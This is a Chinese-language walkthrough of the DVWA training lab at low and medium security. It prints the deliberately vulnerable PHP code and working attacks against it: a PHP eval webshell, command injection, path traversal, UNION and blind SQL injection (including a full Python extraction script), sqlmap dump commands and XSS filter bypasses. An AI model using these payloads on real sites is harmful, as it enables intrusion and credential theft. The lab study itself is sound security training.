Ⅰ. Security:Low - 低安全性
这个安全级别没有任何安全措施
1. Brute Force - 暴力破解
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
查看源码发现没有任何防护措施
随便输个用户名密码,用burp抓包爆破
攻击类型选cluster bomb,导入字典
找到长度不一样的回传,可见用户名为admin,密码为password
登录成功
2. Command Injection - 命令注入
源码表示就是在输入的ip地址前拼接一个ping后作为命令执行,同时没有任何过滤
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
随便输个ip地址
在ip地址后使用"|"拼接命令pwd
,成功执行
3. CSRF - 跨站请求伪造
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
源码可知网页会检查pass_new
和pass_conf
是否相等,若相等则用mysql_real_escape_string()
和md5()
对pass_new
进行处理后更新数据库
新密码输入1234确认密码输入123后提示不匹配,观察url
将链接中的password_conf=123
改为password_conf=1234
后打开新页面并输入
发现直接跳转到密码修改成功的页面了
4. File Inclusion - 文件包含
题目给出三个php文件
file1.php是一个查看当前用户和ip地址的页面
http://192.168.179.131:81/vulnerabilities/fi/?page=file1.php
file2.php是一段字符串
http://192.168.179.131:81/vulnerabilities/fi/?page=file2.php
file3.php从header查看当前用户、ip地址、ua、referer以及host
http://192.168.179.131:81/vulnerabilities/fi/?page=file3.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
源码可见没有对包含的文件进行任何过滤
url为http://192.168.179.131:81/vulnerabilities/fi/?page=include.php
可以看出url的page=
部分可以动手脚
尝试添加多个../
和../etc/passwd
,最终http://192.168.179.131:81/vulnerabilities/fi/?page=../../../etc/passwd
成功输出了文件内容
5. File Upload - 文件上传
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
依旧没有对上传的文件做任何检查和过滤
上传一句话木马
<?php @eval($_POST['cmd']); ?>
上传成功,用蚁剑连接
成功getshell
6. Insecure CAPTCHA - 不安全的验证码
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
mysql_close();
}
?>
审计源码可发现两个步骤,第一个步骤会弹出验证码然后检查新密码和确认密码是否相等,第二个步骤则没有验证码环节,其中通过POST方法获取的step
参数控制使用的是哪个步骤,而step
是我们可以控制的
使用hackbar发送post请求
修改成功
7. SQL Injection - SQL注入
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
一、手工注入
页面会直接用输入的ID替换查询语句SELECT first_name, last_name FROM users WHERE user_id = '$id';
中的$id
,没有任何过滤,因为有引号所以是字符型
输入1' ORDER BY 4#
,查询语句就变成SELECT first_name, last_name FROM users WHERE user_id = '1' ORDER BY 4#';
,#是注释符号,后面的字符都会被视为注释,ORDER BY 4
意为按第四列的数据进行升序排列,此处用来判断表中有几列,
尝试发现ORDER BY 4
和ORDER BY 3
都报错
ORDER BY 2
没有报错,说明有2列
也可以输入1' OR 1=1 ORDER BY 2#
输出所有字段
输入1' UNION SELECT 1,2#
,得知显位点为1和2,也就是说我们下一步想要的数据会在1和2的地方显示。因为UNION SELECT输出的数据需要和列数需要相同(否则会报错),所以需要这个步骤来确定下一步需要怎么构造语句。
UNION 操作符合并两个或多个 SELECT 语句的结果
输入1' UNION SELECT database(),version()#
来获得数据库名和版本,可以看到上一步中显示1和2的地方变成了数据库名dvwa
和版本5.5.47-0ubuntu0.14.04.1
输入-1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'#
可以看到有两个表,表名分别为guestbooks
和users
开头的1变成-1是因为查询不存在的id-1就不会输出前面截图中前三行那种不需要的数据
UNION SELECT
后的1是用来占位的,不加会报错The used SELECT statements have a different number of columns
GROUP_CONCAT()
函数将组中的字符串连接成为具有各种选项的单个字符串,这里把guestbooks
和users
拼成一个字符串输出了information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。其中的TABLES表则提供了关于数据库中的表的信息
table_schema则代表数据表所属的数据库名
输入-1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#
查看表中的列名
输入下面的字符串查看表内所有字段
-1' UNION SELECT 1, group_concat(user_id,',',first_name,',',last_name,',',user,',',password,',',avatar,',',last_login,',',failed_login SEPARATOR "\n") FROM users#
-1' UNION SELECT 1, group_concat(comment_id,',',comment,',',name SEPARATOR "\n") FROM guestbook#
SEPARATOR用于指定行分隔符为"\n" ,即换行,看起来更方便
两列中间的','用于分隔
其中可以看到password
字段的字符串,如admin
对应的81dc9bdb52d04dc20036dbd8313ed055
,放到Hash Type Identifier - Identify unknown hashes可以知道这是md5值,对应的原文为1234
,所以admin用户名对应的密码是1234
二、工具注入
随便输个数字然后复制cookies
输入sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low"
需要cookie的PHPSESSID是为了保持登录态,否则会302重定向至登录界面
sqlmap探测出参数id存在注入点,且数据库为MySQL >= 5.5,操作系统为Ubuntu,网站容器为Apache 2.4.7
输入sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low" --dbs
得到数据库名
使用sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low" -D dvwa --tables
得到指定数据库dvwa
的表名
使用sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low" -D dvwa -T users --dump
得到指定数据库dvwa
的users
表的所有字段,顺便还原了password
的明文
8. SQL Injection(Blind) - SQL盲注
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
源码没有对语句做任何过滤,同时返回的信息只有两种:User ID is MISSING from the database.
(状态码404)和User ID exists in the database.
(状态码200)
由于sql盲注需要穷举试出结果,所以一般写脚本进行,猜长度的环节用burpsuite的intruder也行
盲注的payload通常需要使用SUBSTR()
、ASCII()
、LENGTH()
、COUNT()
等函数,以及LIMIT
关键字
SUBSTR(str, pos, len)
用于截取子字符串,str为需要操作的字符串,pos为开始截取的位置,len为截取长度,不添加len参数则截至最后。pos最小为1。
ASCII(char)
返回字符的ascii值。
LENGTH(string-expression)
返回字符串表达式的字符数量。
COUNT(column_name)
返回指定列的值的数目。
LIMIT n,m
从第n条记录开始,返回m条记录。n最小为0。
了解这些后就可以写出脚本了
这种方法叫做布尔盲注
python 3.10.6
from urllib.parse import quote_plus
import requests
import sys
def payloadCode(payload):
payloadEncode = quote_plus(payload, 'utf-8')
r = requests.get(url.format(payloadEncode), cookies=cookie)
return r.status_code
def getDatabase():
# 获取数据库名长度
for dbNameLen in range(20):
payload = "1' and LENGTH(database())={0} #".format(dbNameLen)
if payloadCode(payload) == 200:
break
#print('数据库名长度为:', dbNameLen)
# 获取数据库名
dbName = ''
for i in range(1, dbNameLen+1):
for charCode in range(33,127):
payload = "1' and ASCII(SUBSTR(database(),{0},1))={1} #".format(i, charCode)
# 比print()逐行输出更酷炫的输出效果
sys.stdout.write('\r数据库:{0}'.format(dbName+chr(charCode)))
sys.stdout.flush()
if payloadCode(payload) == 200:
dbName += chr(charCode)
break
print()
return dbName
def getVerion():
# 获取版本长度
for verNameLen in range(50):
payload = "1' and LENGTH(version())={0} #".format(verNameLen)
if payloadCode(payload) == 200:
break
# 获取版本名
verName = ''
for i in range(1, verNameLen+1):
for charCode in range(33,127):
payload = "1' and ASCII(SUBSTR(version(),{0},1))={1} #".format(i, charCode)
sys.stdout.write('\r版本:{0}'.format(verName+chr(charCode)))
sys.stdout.flush()
if payloadCode(payload) == 200:
verName += chr(charCode)
break
print()
def getTable(dbName):
# 获取表数量
for tableNum in range(10):
payload = "1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{0}')={1} #".format(dbName, tableNum)
if payloadCode(payload) == 200:
break
# print('表数量为:', tableNum)
# 表数量为: 2
# 获取表名长度
tableNameLen = []
for j in range(0, tableNum):
for singleTableNameLen in range(20):
payload = "1' and LENGTH((SELECT table_name FROM information_schema.tables where table_schema='{0}' LIMIT {1},1))={2} #".format(dbName, j, singleTableNameLen)
if payloadCode(payload) == 200:
tableNameLen.append(singleTableNameLen)
break
# print('表名长度为:', tableNameLen)
# 获取表名
tableName = []
for tab in range(tableNum): # 第k张表
tableName.append('')
for cha in range(1, tableNameLen[tab]+1): # 表名第l个字母
for charCode in range(33,127): # 遍历字母集合
payload = "1' and ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema='{0}' LIMIT {1},1),{2},1))={3} #".format(dbName, tab, cha, charCode)
if payloadCode(payload) == 200:
tableName[tab] += chr(charCode)
sys.stdout.write('\r表:{0}'.format(tableName))
sys.stdout.flush()
break
print()
return tableNum, tableName
def getColumn(tableNum, tableName):
# 获取列数
colNums = []
for tab in range(tableNum):
for colNum in range(20):
payload = "1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='{0}')={1} #".format(tableName[tab], colNum)
if payloadCode(payload) == 200:
colNums.append(colNum)
break
# print('列数量为:', colNums)
# 列数量为: [3, 8]
# 获取列名长度
colNameLen = [[] for _ in range(tableNum)]
for tab in range(tableNum):
for col in range(0, colNums[tab]): # 遍历列
for singleColNameLen in range(20):
payload = "1' and LENGTH((SELECT column_name FROM information_schema.columns where table_name='{0}' LIMIT {1},1))={2} #".format(tableName[tab], col, singleColNameLen)
if payloadCode(payload) == 200:
colNameLen[tab].append(singleColNameLen)
break
# print('列名长度为:', colNameLen)
# 获取列名
colName = [["" for _ in sublist] for sublist in colNameLen]
for tab in range(tableNum): # 第tabNo张表
for col in range(len(colNameLen[tab])): # 第col列
for cha in range(1, colNameLen[tab][col]+1): # 列名第cha个字母
for charCode in range(33,127): # 遍历字母集合
payload = "1' and ASCII(SUBSTR((SELECT column_name FROM information_schema.columns where table_name='{0}' LIMIT {1},1),{2},1))={3} #".format(tableName[tab], col, cha, charCode)
if payloadCode(payload) == 200:
colName[tab][col] += chr(charCode)
sys.stdout.write('\r列:{0}'.format(colName))
sys.stdout.flush()
break
print()
return colNums, colName
def getKey(tableNum, tableName, colNums, colName):
# 获取字段数
keyNums = []
for tab in range(tableNum):
for keyNum in range(20):
payload = "1' and (SELECT COUNT(user) FROM {0})={1} #".format(tableName[tab], keyNum)
if payloadCode(payload) == 200:
keyNums.append(keyNum)
break
# print('字段数量为:', keyNums)
# 字段数量为: [1, 5]
# 获取字段长度
keyLens = [[[0 for _ in range(colNums[i])] for _ in range(keyNums[i])] for i in range(tableNum)]
for tab in range(tableNum): # 遍历表
for key in range(keyNums[tab]): # 遍历字段
for col in range(colNums[tab]): # 遍历列
for keyLen in range(100):
# 非盲注查看users表avatar列的第0个字段:-1' UNION SELECT 1,SUBSTR((SELECT avatar FROM users LIMIT 0,1),1) #
payload = "1' and LENGTH((SELECT {0} FROM {1} LIMIT {2},1))={3} #".format(colName[tab][col], tableName[tab], key, keyLen)
if payloadCode(payload) == 200:
keyLens[tab][key][col] = keyLen
break
# 字段具体内容
keys = [[['' for _ in range(colNums[i])] for _ in range(keyNums[i])] for i in range(tableNum)]
for tab in range(tableNum): # 遍历表
for key in range(keyNums[tab]): # 遍历字段
for col in range(colNums[tab]): # 遍历列
for cha in range(1, keyLens[tab][key][col]+1): # 遍历字母
for charCode in range(32,127):
payload = "1' and ASCII(SUBSTR((SELECT {0} FROM {1} LIMIT {2},1), {3}, 1))={4} #".format(colName[tab][col], tableName[tab], key, cha, charCode)
if payloadCode(payload) == 200:
keys[tab][key][col] += chr(charCode)
#sys.stdout.write('\r字段:{0}'.format(keys))
#sys.stdout.flush()
break
#print()
return keys
def sqli():
dbName = getDatabase()
getVerion()
tableNum, tableName = getTable(dbName)
colNums, colName = getColumn(tableNum, tableName)
keys = getKey(tableNum, tableName, colNums, colName)
for tab in range(tableNum):
print('[+] 表', tab+1, ':', tableName[tab])
for i in colName[tab]:
if colName[tab].index(i) + 1 == len(colName[tab]):
print(i)
else:
print(i, end=' | ')
for i in keys[tab]:
for j in i:
if i.index(j) + 1 == len(i):
print(j)
else:
print(j, end=' | ')
# 改为多线程更快
if __name__ == '__main__':
url = 'http://192.168.179.131:81/vulnerabilities/sqli_blind/?id={0}&Submit=Submit#' # 注入点需要换成占位符,如{0}
cookie = {'PHPSESSID':'9puud399ac8o50a68dt07jcdu3','security':'low'}
sqli()
运行结果:
9. XSS(Reflected) - 跨站脚本反射型
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
依旧没有对输入内容做任何过滤,随便输个字符串
输个js语句试试<script>alert("EL PSY KONGROO")</script>
网页弹窗,说明刚刚输入的语句直接执行了
10. XSS(Stored) - 跨站脚本存储型
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
在评论处输入js语句提交
可以发现多了条空白的评论
每次进入这个页面都会弹窗
Ⅱ. Security:Medium - 中安全性
这个安全级别有一点安全措施,但不多
1. Brute Force - 暴力破解
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
中级的代码增加了mysql_real_escape_string()
函数,这个函数会在以下字符前添加反斜线:\x00
、\n
、\r
、\
、'
、"
和 \x1a
来防御SQL注入。而且登录失败后会sleep(2)
暂停运行2秒。不过方法和低级一样,直接爆破就行了,只是时间会久一点。
2. Command Injection - 命令注入
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
中级添加了黑名单,会将输入中黑名单内的字符过滤掉,具体就是将'&&'和';'直接删除
可以发现输入127.0.0.1 && pwd
已经没反应了
但是黑名单过滤不全,还可以用127.0.0.1|pwd
,此外还可以用单个&
3. CSRF - 跨站请求伪造
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
中级多了一个检查Header中Referer字段的环节
直接打开新标签页输入修改密码的url会报错:
在原页面发送请求后抓包查看Referer
复制到hackbar添加Referer发送请求
提示修改成功
4. File Inclusion - 文件包含
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
中级的源码添加了输入过滤环节,会把"http://", "https://", "../", "..\""
删除,但只是简单的删除而已,可以使用双写绕过,就是在"../"
中间再加个"../"
变成``"..././",这样中间的
../被删除后左边的
.和右边的
./拼在一起又变成了
../`。其他同理。
构造urlhttp://192.168.179.131:81/vulnerabilities/fi/?page=..././..././..././etc/passwd
成功输出文件内容
5. File Upload - 文件上传
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
中级限制了上传文件的类型为image/jpeg
或image/png
,且大小小于100000
直接上传shell.php
会发现被拒绝
上传前抓包找到Content-Type
,修改为image/jpeg
:
上传成功,getshell
6. Insecure CAPTCHA - 不安全的验证码
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
mysql_close();
}
?>
中级则加了一个检查有没通过step1的函数
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
直接修改会提示没有通过验证码:
但是在知道源码的情况下,多post一个passed_captcha=1
就可以了:
修改成功
7. SQL Injection - SQL注入
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
中级添加了一个mysql_real_escape_string()
来过滤传入的id,而且固定选项了,传参方式也从get改为post:
这样就没办法直接在网页输入框和url修改了:
但是还可以抓包:
首先判断类型:
没有返回
报错,说明是数字型:
其他过程的payload和低级都差不多
在查看列名这一步需要注意,使用id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
时会报错
因为单引号被mysql_real_escape_string()
转义了,所以不能使用单引号,可以使用十六进制编码
users
的十六进制编码为0x7573657273
所以将payload改为-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
:
成功返回信息:
获取所有字段内容:
-1 UNION SELECT 1, group_concat(user_id,0x2c,first_name,0x2c,last_name,0x2c,user,0x2c,password,0x2c,avatar,0x2c,last_login,0x2c,failed_login SEPARATOR 0x0a) FROM users#
,
为0x2c
,\n
为0x0a
8. SQL Injection(Blind) - SQL盲注
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
中级首先是改为数字型,添加了mysql_real_escape_string()
,然后选项也变为了固定的,改为了post传参,网页没有404回显,所以无法通过回显来判断是否存在了,此时可以使用sleep()
函数进行时间盲注
比如在获取数据库名长度时使用payload1 and if(length(database())=1,sleep(5),1) #
此时网页能立刻返回结果:
传入1 and if(length(database())=4,sleep(5),1) #
时,网页延迟了五秒才返回结果:
所以可以通过延时与否来判断语句成不成立
写脚本需要在低级的脚本基础上,将字符型payload改为数字型,传参方式改为post,引号内容改为十六进制,判断方式改为间隔时间即可,例如:
// python使用时间的判断方式
time1 = datetime.datetime.now()
send_payload()
time2 = datetime.datetime.now()
if (time2 - time1).seconds > 5:
... // 语句成立
else:
... // 语句不成立
9. XSS(Reflected) - 跨站脚本反射型
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
中级添加了对<script>
的过滤,可以发现被删除了
可以使用双写绕过<sc<script>ript>alert("EL PSY KONGROO")</script>
:
成功弹窗:
此外还可以用事件绕过<a href = 'javascript:alert("EL PSY KONGROO")'>super hacker</a>
:
点击super hacker会弹窗:
10. XSS(Stored) - 跨站脚本存储型
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
中级添加了$message = strip_tags( addslashes( $message ) );
,$message = htmlspecialchars( $message );
,以及$name = str_replace( '<script>', '', $name );
